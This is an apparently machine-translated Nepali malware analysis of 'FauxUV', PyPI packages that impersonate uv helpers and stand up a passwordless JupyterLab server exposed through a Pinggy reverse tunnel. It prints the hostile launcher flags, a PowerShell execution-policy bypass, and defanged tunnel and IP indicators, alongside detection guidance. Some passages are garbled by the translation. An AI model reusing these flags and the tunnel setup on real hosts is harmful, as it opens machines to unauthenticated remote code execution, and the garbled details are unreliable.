TL; ड
PyPI प्याकेजहरूको समूहले निम्न नाम उधारो लिएको थियो: uv, छिटो, अत्यधिक लोकप्रिय रस्ट-आधारित पाइथन प्याकेज प्रबन्धक, यूभी सहयोगीहरूको रूपमा प्रस्तुत गर्न। तिनीहरूले लगभग कुनै वास्तविक कार्यक्षमता पठाउँदैनन्। यसको सट्टा तिनीहरूले बोक्ने कुरा भनेको विन्डोज पेलोड हो जुन खडा हुन्छ। प्रमाणीकरण भएको JupyterLab सर्भर बन्द छ र, पछिल्ला संस्करणहरूमा, यसलाई रिभर्स टनेल मार्फत सार्वजनिक इन्टरनेटमा प्रकाशित गर्दछ।
त्यो एकै पङ्क्तिमा सम्पूर्ण कथा हो: विश्वसनीय उपकरणको नाम ल्युरको रूपमा, र JupyterLab रिमोट-कोड-कार्यान्वयन इन्जिनको रूपमा। जुपिटर सर्भरले तपाईंले टाइप गर्नुभएको कुनै पनि कोडलाई not मा चलाउँछ।ebook सेल; एउटा खाली टोकनसहित सुरु गरिएको र प्रत्येक नेटवर्क इन्टरफेसमा बाँधिएको एउटा खुला दोभाषे हो जुन पोर्टमा पुग्न सक्ने जो कोहीले पनि चलाउन सक्छ।
हामी क्लस्टरलाई यसरी ट्र्याक गर्छौं फक्सयूभीजाँच गरिएका दुई प्याकेजहरू हुन् moon-uv (0.0.1-0.0.16) र my-magic-uv-helper (०.०.१), उही अपरेटरद्वारा प्रकाशित र विश्लेषणको समयमा PyPI मा प्रत्यक्ष।
| पारिस्थितिकी तंत्र | PyPI |
| प्याकेजहरू | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| लक्षित प्लेटफर्म | Windows |
| मुख्य व्यवहार | अप्रमाणित JupyterLab सर्भर, रिभर्स टनेल मार्फत इन्टरनेटमा प्रकाशित |
| वैध उपकरणहरूको दुरुपयोग गरियो | यूभी, जुपिटरल्याब, क्लाउडफ्लेर्ड, पिङ्गी |
आकर्षण: तपाईंले पहिले नै विश्वास गर्नुभएको नाम
uv यो पछिल्ला दुई वर्षमा सबैभन्दा धेरै स्थापित पाइथन उपकरणहरू मध्ये एक हो, त्यसैले "यसको लागि एक सहयोगी" uv"यो एउटा प्याकेज हो जुन विकासकर्ताले दोस्रो विचार बिना स्थापना गर्छ। FauxUV ले आफ्नो विश्वसनीयता पूर्ण रूपमा त्यो नाममा खर्च गर्छ। प्याकेजहरूले वास्तविक uv एस्ट्रलबाट स्थापनाकर्ता - वास्तविक, प्रतिष्ठित होस्टहरूमा पेलोड बिन्दुमा URL हरू - त्यसैले द्रुत नजरले विश्वसनीय सन्दर्भहरू बाहेक अरू केही देख्दैन। कुनै पनि प्याकेजहरूले वास्तवमा थप्दैनन् uv कार्यक्षमता; नाम नै सम्पूर्ण भेष हो।
RCE इन्जिनको रूपमा JupyterLab
पेलोडको केन्द्रबिन्दु एउटा लन्चर हो जसले प्रत्येक रेलिङ हटाएर JupyterLab सुरु गर्छ:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it प्रत्येक झण्डाले सुरक्षा हटाउँछ, र पठाइएको लिपिले तिनीहरूलाई एनोटेट पनि गर्छ (मूल चिनियाँमा): खाली टोकन "पासवर्ड र टोकन जाँचहरू बन्द गर्दछ - जो कोही पनि जडान गर्न सक्छन्।" jupyter प्रयोगशाला एक वैध डेटा-विज्ञान IDE हो, तर होइनebook सेलले डिजाइनद्वारा मनमानी कोड कार्यान्वयन गर्दछ। यसरी कन्फिगर गरिएको र बाँधिएको 0.0.0.0, यो IDE हुन छोड्छ र होस्टमा एक अप्रमाणित रिमोट शेल बन्छ — कुनै कस्टम मालवेयर बाइनरी आवश्यक पर्दैन, केवल एक मुख्यधारा उपकरणले गलत बाटो औंल्याएको छ।
दुई सहायक टुक्राहरूले यसलाई पहुँचयोग्य र दोहोर्याउन मिल्ने बनाउँछन्:
- एउटा मौन स्थापना ट्रिगर। प्रारम्भिक संस्करणहरूले PowerShell चलाउँछन् - कार्यान्वयन नीति बाइपास सिधा बाट setup.py on pip स्थापना, पृष्ठभूमिमा त्रुटिहरू दबाएर राखियोस् त्यसैले PIP सामान्य देखिन्छ। पछिल्ला संस्करणहरूले उही आदिमलाई a मा सार्छन् पिप-यूभी कमाण्ड-लाइन उपकरण — र स्थापना-समय स्वत: रन पूर्ण रूपमा छोड्नुहोस्।
- एउटा सार्वजनिक उल्टो सुरुङ। सर्भर अन छ 0.0.0.0 मेसिनमा रुट गर्न सक्ने होस्टहरूद्वारा मात्र पहुँचयोग्य छ। बन्डल गरिएको मोड्युलले [Pinggy]( खोल्छ।https://pinggy.io/) SSH रिभर्स टनेल जसले स्थानीय जुपिटर पोर्टलाई सार्वजनिक ठेगानामा फर्वार्ड गर्दछ, त्यो सीमा हटाएर। पठाइएको स्क्रिप्टले क्लाउडफ्लेयरको प्रयोग गरेर वैकल्पिक मार्ग पनि बोक्छ — टिप्पणी गरिएको छ — बादलले भरिएको र एक netsh लिनोड आईपीमा पोर्ट-प्रोक्सी, फरक पूर्वाधार मार्फत एउटै लक्ष्यको दस्तावेजीकरण।
सँगै राख्नुहोस्: प्याकेज स्थापना गर्नुहोस्, र विन्डोज होस्टले पासवर्डविहीन JupyterLab चलाएर खुला इन्टरनेटमा प्रकाशित गर्नेछ।
FauxUV कसरी विकसित भयो
FauxUV का संस्करणहरू द्रुत उत्तराधिकारमा पठाइए, र पेलोडको ट्रिगर पोइन्ट तिनीहरूमाथि सर्यो - एउटा फ्ल्याग गरिएको संस्करणले प्याकेज लाइनको सम्पूर्ण कथा विरलै बताउँछ भन्ने कुराको सम्झना गराउँछ।
| स्टेज | संस्करण | ट्रिगर | यसले के थप्छ |
|---|---|---|---|
| स्थापना-हुक | moon-uv २२१––२२१, my-magic-uv-helper 0.0.1 | setup.py पिप स्थापनामा | uv स्थापना + PATH प्रिपेन्ड |
| CLI-रनटाइम | moon-uv 0.0.5-0.0.13 | pip-uv आदेश | पासवर्डविहीन-जुपिटरल्याब लन्चर |
| टनेल | moon-uv 0.0.14-0.0.16 | pip-uv आदेश | एक सक्रिय पिङ्गी रिभर्स टनेल |
उल्लेखनीय रूपमा, स्थापना-समय स्वत: रन थियो हटाइयो पछिल्ला, अझ सक्षम संस्करणहरूमा - त्यसैले स्क्यानरले जीवनचक्रमा मात्र कुञ्जी राख्यो hooks नयाँ रिलिजहरूलाई यसरी स्कोर गर्नेछ थोरै जोखिमपूर्ण, ठीक उल्टो।
सम्झौताका सूचकहरू
प्याकेज स्रोत पढेर पुष्टि गरियो; अन्तिम बिन्दुहरू चिन्ह लगाइयो टिप्पणी फाइलहरूमा उपस्थित छन् तर विश्लेषण गरिएको संस्करणद्वारा कार्यान्वयन गरिएका छैनन्। नेटवर्क सूचकहरू डिफ्याङ्ग गरिएका छन्।
| प्रकार | सूचक |
|---|---|
| स्थापना आदेश | powershell -ExecutionPolicy Bypass पिप स्थापना समयमा वास्तविक यूभी स्थापनाकर्ता ल्याउँदै |
| JupyterLab झण्डाहरू | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| उल्टो सुरुङ (सक्रिय) | free[.]pinggy[.]io:443 स्थानीय फर्वार्ड गर्दै 127.0.0.1:8888 |
| टनेल होस्ट (टिप्पणी गरिएको) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (टिप्पणी गरिएको) | 45[.]79[.]134[.]161 (लिनोड) मार्फत netsh port-proxy |
| दृढता | प्रिपेन्ड गर्छ %USERPROFILE%\.local\bin प्रयोगकर्ता PATH लाई |
यी सटीक स्ट्रिङहरूबाट स्वतन्त्र, सतर्क गराउन लायक व्यवहारिक संकेतहरू: a pip स्थापना त्यो जन्मन्छ पावरशेल - कार्यान्वयन नीति बाइपास; कुनै पनि जुपिटर प्रक्षेपण संयोजन टोकन = "" संग -आईपी = ०.०.०.०; र SSH लाई आउटबाउन्ड गर्नुहोस् *.पिंगी.आईओ विकासकर्ता वा CI मेसिनबाट।
अवलोकन गरिएको व्यवहार र उत्पत्ति
दुई प्याकेजहरूले एक लेखक र एक विधि साझा गर्छन्: एक विश्वसनीय उपकरणको नाम, विन्डोज-मात्र गेटिङ, त्रुटि-दबाइएको पृष्ठभूमि कार्यान्वयन, र प्रतिष्ठित उपकरणहरूमा निर्भरता ताकि द्रुत हेराइले मात्र प्रतिष्ठित URL हरू देख्छ। स्रोतले सुरक्षा-सम्बन्धित झण्डाहरू स्पष्ट रूपमा वर्णन गर्ने चिनियाँ भाषाका टिप्पणीहरू बोक्छ; हामी ती फाइलमा अवलोकनयोग्य कथनहरूको रूपमा रिपोर्ट गर्छौं, उद्देश्यको बारेमा दावीको रूपमा होइन। अनुमति_मूल मूल्य र colab.bat ले तपाईंलाई फाइलनामले गुगल कोल्याबको लागि प्रसारित अनौपचारिक "मेरो स्थानीय रनटाइम साझा गर्नुहोस्" कार्यप्रवाहहरू प्रतिध्वनि गर्दछ। उत्पत्ति जे भए पनि, प्याकेज गरिएको परिणाम उस्तै छ।
रक्षकहरूको लागि प्रभाव र मार्गदर्शन
जो FauxUV को सम्पर्कमा छ। विन्डोज विकासकर्ताहरू र CI धावकहरू जुन pip स्थापना यी प्याकेजहरू मध्ये एक। पासवर्डविहीन JupyterLab मा 0.0.0.0 पोर्टमा पुग्न सक्ने जो कोहीको लागि रिमोट कोड कार्यान्वयन हो; टनेलले "कसले पुग्न सक्छ" सीमा हटाउँछ। सर्भर स्थापना गर्ने प्रयोगकर्ताको रूपमा चल्छ, त्यो प्रयोगकर्ताको फाइलहरू, टोकनहरू, र क्लाउड प्रमाणहरू प्राप्त गर्दै।
किन यो छुटाउन सजिलो छ। प्रत्येक नेटवर्क स्ट्रिङले एक प्रतिष्ठित होस्टमा केन्द्रित हुन्छ — एस्ट्रल, जुपिटरल्याब, बादलले भरिएको, पिंगी, कोलाब। ह्यास गर्न कुनै मालवेयर बाइनरी छैन र डिकोड गर्न कुनै अस्पष्ट ब्लब छैन। प्रतिष्ठा- र हस्ताक्षर-आधारित स्क्यानिङ दुवैले यसलाई कम तौल दिन्छ, त्यसैले व्यवहारिक प्रश्न - यो प्याकेज स्थापना गर्दा मेसिनले के गर्छ? — उही हो जसले यसलाई समात्छ।
मार्गदर्शन:
- कुनै पनि स्थापना-समयको हेरचाह गर्नुहोस् पावरशेल - कार्यान्वयन नीति बाइपास निर्माण-ब्रेकिंग संकेतको रूपमा, यसले जुनसुकै URL ल्याउँछ।
- अलर्ट सक्रिय छ जुपिटर खाली टोकनसहित सुरु गरिएको र -आईपी = ०.०.०.०; त्यो संयोजन कहिल्यै पनि वर्कस्टेशन वा रनरमा देखा पर्नु हुँदैन।
- आउटबाउन्ड SSH देखि टनेल प्रदायकहरूको लागि निगरानी गर्नुहोस् (*.पिंगी.आईओ, *.trycloudflare.com) विकासकर्ता र CI वातावरणबाट।
- स्थापना uv [यसको आधिकारिक स्रोत] बाट (https://docs.astral.sh/uv/) र तेस्रो-पक्ष "सहायक" प्याकेजहरूप्रति शंका गर्नुहोस् जसले स्थापना गर्न पहिले नै तुच्छ उपकरणलाई बेर्छ।
- अपग्रेडमा निर्भरताहरू पिन गर्नुहोस् र पुन: समीक्षा गर्नुहोस् — प्याकेज लाइनले संस्करण-माथि-संस्करणमा नयाँ क्षमता बढाउन सक्छ।



